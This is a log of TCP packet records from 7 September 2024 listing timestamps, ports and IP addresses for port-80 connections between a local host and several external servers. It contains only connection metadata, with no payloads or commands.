Sep 7, 2024 15:34:16.726577044 CEST	60152	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:16.726694107 CEST	60152	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:16.731592894 CEST	80	60152	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:17.209203959 CEST	80	60152	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:17.209242105 CEST	80	60152	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:17.209359884 CEST	60152	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:17.209541082 CEST	60152	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:17.219611883 CEST	60150	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:17.219939947 CEST	60153	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:17.224597931 CEST	80	60150	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:17.224672079 CEST	60150	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:17.224718094 CEST	80	60153	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:17.224786997 CEST	60153	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:17.224905968 CEST	60153	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:17.229736090 CEST	80	60153	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:17.710038900 CEST	80	60153	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:17.710180998 CEST	60153	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:20.096313000 CEST	60154	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:20.101511955 CEST	80	60154	45.79.222.138	192.168.2.3
Sep 7, 2024 15:34:20.101598978 CEST	60154	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:20.116662025 CEST	60154	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:20.121536970 CEST	80	60154	45.79.222.138	192.168.2.3
Sep 7, 2024 15:34:20.121608973 CEST	60154	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:20.124228954 CEST	60155	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:20.129002094 CEST	80	60155	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:20.129116058 CEST	60155	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:20.129193068 CEST	60155	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:20.134063959 CEST	80	60155	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:20.635785103 CEST	80	60155	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:20.635878086 CEST	80	60155	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:20.635967016 CEST	60155	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:20.636034966 CEST	60155	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:20.639574051 CEST	60153	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:20.639887094 CEST	60156	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:20.645104885 CEST	80	60156	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:20.645186901 CEST	60156	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:20.645337105 CEST	60156	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:20.645366907 CEST	80	60153	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:20.645450115 CEST	60153	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:20.650178909 CEST	80	60156	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:21.125236988 CEST	80	60156	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:21.125372887 CEST	60156	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:21.237766027 CEST	60157	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:21.242983103 CEST	80	60157	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:21.243077993 CEST	60157	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:21.257328987 CEST	60157	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:21.262458086 CEST	80	60157	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:21.262509108 CEST	60157	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:21.267447948 CEST	60158	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:21.272672892 CEST	80	60158	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:21.272764921 CEST	60158	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:21.272953987 CEST	60158	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:21.278037071 CEST	80	60158	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:21.759421110 CEST	80	60158	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:21.759459019 CEST	80	60158	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:21.759525061 CEST	60158	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:21.759622097 CEST	60158	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:21.759979963 CEST	60156	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:21.764029980 CEST	60159	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:21.765038013 CEST	80	60156	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:21.765094042 CEST	60156	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:21.768799067 CEST	80	60159	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:21.768882990 CEST	60159	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:21.768987894 CEST	60159	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:21.773766041 CEST	80	60159	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:22.269361019 CEST	80	60159	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:22.269473076 CEST	60159	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:26.955404997 CEST	61351	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:26.960231066 CEST	80	61351	45.79.222.138	192.168.2.3
Sep 7, 2024 15:34:26.960350990 CEST	61351	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:26.960491896 CEST	61351	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:26.964781046 CEST	61352	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:26.965439081 CEST	80	61351	45.79.222.138	192.168.2.3
Sep 7, 2024 15:34:26.965519905 CEST	61351	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:26.969593048 CEST	80	61352	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:26.969680071 CEST	61352	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:26.969809055 CEST	61352	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:26.974555969 CEST	80	61352	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:27.472398996 CEST	80	61352	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:27.472676992 CEST	61352	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:27.474227905 CEST	80	61352	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:27.474292994 CEST	61352	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:27.478543043 CEST	60159	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:27.478959084 CEST	61353	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:27.483617067 CEST	80	60159	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:27.483695030 CEST	60159	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:27.483724117 CEST	80	61353	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:27.483802080 CEST	61353	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:27.483975887 CEST	61353	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:27.488827944 CEST	80	61353	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:27.974005938 CEST	80	61353	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:27.974081039 CEST	61353	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:28.294297934 CEST	61354	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:28.299645901 CEST	80	61354	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:28.299804926 CEST	61354	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:28.299933910 CEST	61354	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:28.303735018 CEST	61355	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:28.304930925 CEST	80	61354	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:28.304997921 CEST	61354	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:28.308628082 CEST	80	61355	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:28.308701038 CEST	61355	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:28.308815956 CEST	61355	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:28.313530922 CEST	80	61355	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:28.794915915 CEST	80	61355	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:28.795016050 CEST	80	61355	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:28.795083046 CEST	61355	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:28.795140982 CEST	61355	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:28.795522928 CEST	61353	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:28.795892954 CEST	61356	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:28.800510883 CEST	80	61353	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:28.800571918 CEST	61353	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:28.800610065 CEST	80	61356	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:28.800693035 CEST	61356	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:28.800782919 CEST	61356	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:28.806519032 CEST	80	61356	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:29.284914017 CEST	80	61356	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:29.285083055 CEST	61356	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:30.559246063 CEST	61357	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:30.564136028 CEST	80	61357	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:30.564205885 CEST	61357	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:30.569771051 CEST	61357	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:30.573518991 CEST	61358	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:30.574559927 CEST	80	61357	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:30.574632883 CEST	61357	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:30.578366995 CEST	80	61358	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:30.578439951 CEST	61358	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:30.578511000 CEST	61358	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:30.583260059 CEST	80	61358	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:31.065511942 CEST	80	61358	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:31.065541983 CEST	80	61358	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:31.065661907 CEST	61358	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:31.065798044 CEST	61358	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:31.071656942 CEST	61356	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:31.071962118 CEST	61359	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:31.076771021 CEST	80	61359	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:31.076844931 CEST	61359	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:31.076924086 CEST	80	61356	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:31.076946020 CEST	61359	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:31.076977968 CEST	61356	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:31.083197117 CEST	80	61359	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:31.589180946 CEST	80	61359	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:31.589262009 CEST	61359	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:32.486674070 CEST	61360	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:32.491513968 CEST	80	61360	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:32.491605997 CEST	61360	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:32.492049932 CEST	61360	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:32.495570898 CEST	61361	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:32.496817112 CEST	80	61360	88.198.29.97	192.168.2.3
Sep 7, 2024 15:34:32.496886969 CEST	61360	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:34:32.500335932 CEST	80	61361	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:32.500386000 CEST	61361	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:32.500462055 CEST	61361	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:32.505207062 CEST	80	61361	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:33.011301041 CEST	80	61361	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:33.011363983 CEST	80	61361	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:33.011504889 CEST	61361	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:33.011611938 CEST	61361	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:33.011991024 CEST	61359	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:33.012360096 CEST	61362	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:33.016976118 CEST	80	61359	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:33.017069101 CEST	61359	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:33.017107964 CEST	80	61362	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:33.017174006 CEST	61362	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:33.017327070 CEST	61362	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:33.022043943 CEST	80	61362	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:33.497728109 CEST	80	61362	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:33.497865915 CEST	61362	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:34.490202904 CEST	61363	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:34.495127916 CEST	80	61363	45.79.222.138	192.168.2.3
Sep 7, 2024 15:34:34.495274067 CEST	61363	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:34.495383024 CEST	61363	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:34.499588013 CEST	61364	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:34.500489950 CEST	80	61363	45.79.222.138	192.168.2.3
Sep 7, 2024 15:34:34.500617981 CEST	61363	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:34.504522085 CEST	80	61364	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:34.504625082 CEST	61364	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:34.507396936 CEST	61364	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:34.512191057 CEST	80	61364	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:34.984854937 CEST	80	61364	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:34.984880924 CEST	80	61364	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:34.984935999 CEST	61364	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:34.985023975 CEST	61364	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:34.986895084 CEST	61362	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:34.987190962 CEST	61365	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:34.991986990 CEST	80	61362	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:34.992024899 CEST	80	61365	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:34.992041111 CEST	61362	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:34.992094994 CEST	61365	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:34.992314100 CEST	61365	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:34.997107983 CEST	80	61365	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:35.500749111 CEST	80	61365	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:35.500891924 CEST	61365	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:36.613082886 CEST	61366	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:36.617985964 CEST	80	61366	45.79.222.138	192.168.2.3
Sep 7, 2024 15:34:36.618093967 CEST	61366	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:36.633392096 CEST	61366	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:36.638483047 CEST	80	61366	45.79.222.138	192.168.2.3
Sep 7, 2024 15:34:36.638545036 CEST	61366	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:36.639659882 CEST	61367	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:36.644542933 CEST	80	61367	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:36.644625902 CEST	61367	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:36.647886038 CEST	61367	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:36.653875113 CEST	80	61367	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:37.135874033 CEST	80	61367	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:37.136162043 CEST	61367	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:37.136171103 CEST	80	61367	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:37.136226892 CEST	61367	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:37.136600971 CEST	61365	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:37.136998892 CEST	61368	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:37.141897917 CEST	80	61365	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:37.141941071 CEST	80	61368	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:37.141997099 CEST	61365	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:37.142059088 CEST	61368	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:37.142235994 CEST	61368	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:37.147037983 CEST	80	61368	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:37.722342968 CEST	80	61368	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:37.722424984 CEST	61368	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:38.309804916 CEST	61369	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:38.314734936 CEST	80	61369	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:38.314826965 CEST	61369	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:38.314976931 CEST	61369	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:38.318837881 CEST	61370	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:38.319880962 CEST	80	61369	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:38.319962025 CEST	61369	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:38.325097084 CEST	80	61370	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:38.325182915 CEST	61370	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:38.335453033 CEST	61370	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:38.341696978 CEST	80	61370	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:38.808603048 CEST	80	61370	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:38.808644056 CEST	80	61370	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:38.808770895 CEST	61370	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:38.808865070 CEST	61370	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:38.814475060 CEST	61368	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:38.814809084 CEST	61371	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:38.819576979 CEST	80	61368	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:38.819607019 CEST	80	61371	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:38.819652081 CEST	61368	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:38.819730997 CEST	61371	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:38.820116043 CEST	61371	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:38.824872971 CEST	80	61371	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:39.300848961 CEST	80	61371	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:39.301067114 CEST	61371	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:39.434923887 CEST	61372	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:39.439718962 CEST	80	61372	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:39.439796925 CEST	61372	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:39.439950943 CEST	61372	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:39.443675995 CEST	61373	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:39.444941044 CEST	80	61372	64.70.19.203	192.168.2.3
Sep 7, 2024 15:34:39.445008993 CEST	61372	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:34:39.448487997 CEST	80	61373	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:39.448556900 CEST	61373	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:39.460485935 CEST	61373	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:39.465338945 CEST	80	61373	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:39.930893898 CEST	80	61373	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:39.930933952 CEST	80	61373	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:39.931046009 CEST	61373	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:39.931145906 CEST	61373	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:39.931485891 CEST	61371	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:39.931848049 CEST	61374	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:39.936522007 CEST	80	61371	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:39.936589003 CEST	80	61374	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:39.936590910 CEST	61371	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:39.936655998 CEST	61374	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:39.936824083 CEST	61374	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:39.941685915 CEST	80	61374	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:40.427748919 CEST	80	61374	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:40.427839041 CEST	61374	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:40.549658060 CEST	61375	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:40.554739952 CEST	80	61375	45.79.222.138	192.168.2.3
Sep 7, 2024 15:34:40.554833889 CEST	61375	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:40.554960966 CEST	61375	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:40.558830023 CEST	61376	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:40.560128927 CEST	80	61375	45.79.222.138	192.168.2.3
Sep 7, 2024 15:34:40.560211897 CEST	61375	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:40.568696976 CEST	80	61376	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:40.568803072 CEST	61376	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:40.568931103 CEST	61376	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:40.573700905 CEST	80	61376	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:41.083467960 CEST	80	61376	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:41.083487034 CEST	80	61376	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:41.083621025 CEST	61376	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:41.083723068 CEST	61376	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:41.084438086 CEST	61377	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:41.084517002 CEST	61374	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:41.089283943 CEST	80	61377	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:41.089365959 CEST	61377	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:41.089495897 CEST	61377	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:41.094309092 CEST	80	61377	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:41.094544888 CEST	80	61374	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:41.094619036 CEST	61374	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:41.571827888 CEST	80	61377	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:41.571897984 CEST	61377	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:43.753102064 CEST	61378	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:43.757920027 CEST	80	61378	45.79.222.138	192.168.2.3
Sep 7, 2024 15:34:43.757993937 CEST	61378	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:43.758094072 CEST	61378	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:43.762782097 CEST	61379	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:43.763235092 CEST	80	61378	45.79.222.138	192.168.2.3
Sep 7, 2024 15:34:43.763297081 CEST	61378	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:43.767667055 CEST	80	61379	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:43.767730951 CEST	61379	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:43.772919893 CEST	61379	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:43.777862072 CEST	80	61379	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:44.254594088 CEST	80	61379	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:44.254710913 CEST	80	61379	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:44.254774094 CEST	61379	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:44.254817009 CEST	61379	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:44.260637045 CEST	61377	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:44.260967970 CEST	61380	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:44.265729904 CEST	80	61380	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:44.265750885 CEST	80	61377	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:44.265805006 CEST	61380	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:44.265834093 CEST	61377	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:44.266042948 CEST	61380	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:44.271270990 CEST	80	61380	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:44.768011093 CEST	80	61380	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:44.768083096 CEST	61380	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:45.814966917 CEST	61381	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:45.819806099 CEST	80	61381	45.79.222.138	192.168.2.3
Sep 7, 2024 15:34:45.819863081 CEST	61381	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:45.820218086 CEST	61381	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:45.825186968 CEST	80	61381	45.79.222.138	192.168.2.3
Sep 7, 2024 15:34:45.825241089 CEST	61381	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:34:45.833452940 CEST	61382	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:45.838268995 CEST	80	61382	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:45.838335037 CEST	61382	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:45.851108074 CEST	61382	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:45.856162071 CEST	80	61382	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:46.325655937 CEST	80	61382	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:46.325701952 CEST	80	61382	172.234.222.138	192.168.2.3
Sep 7, 2024 15:34:46.325793028 CEST	61382	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:46.325849056 CEST	61382	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:34:46.329689980 CEST	61380	80	192.168.2.3	172.234.222.138
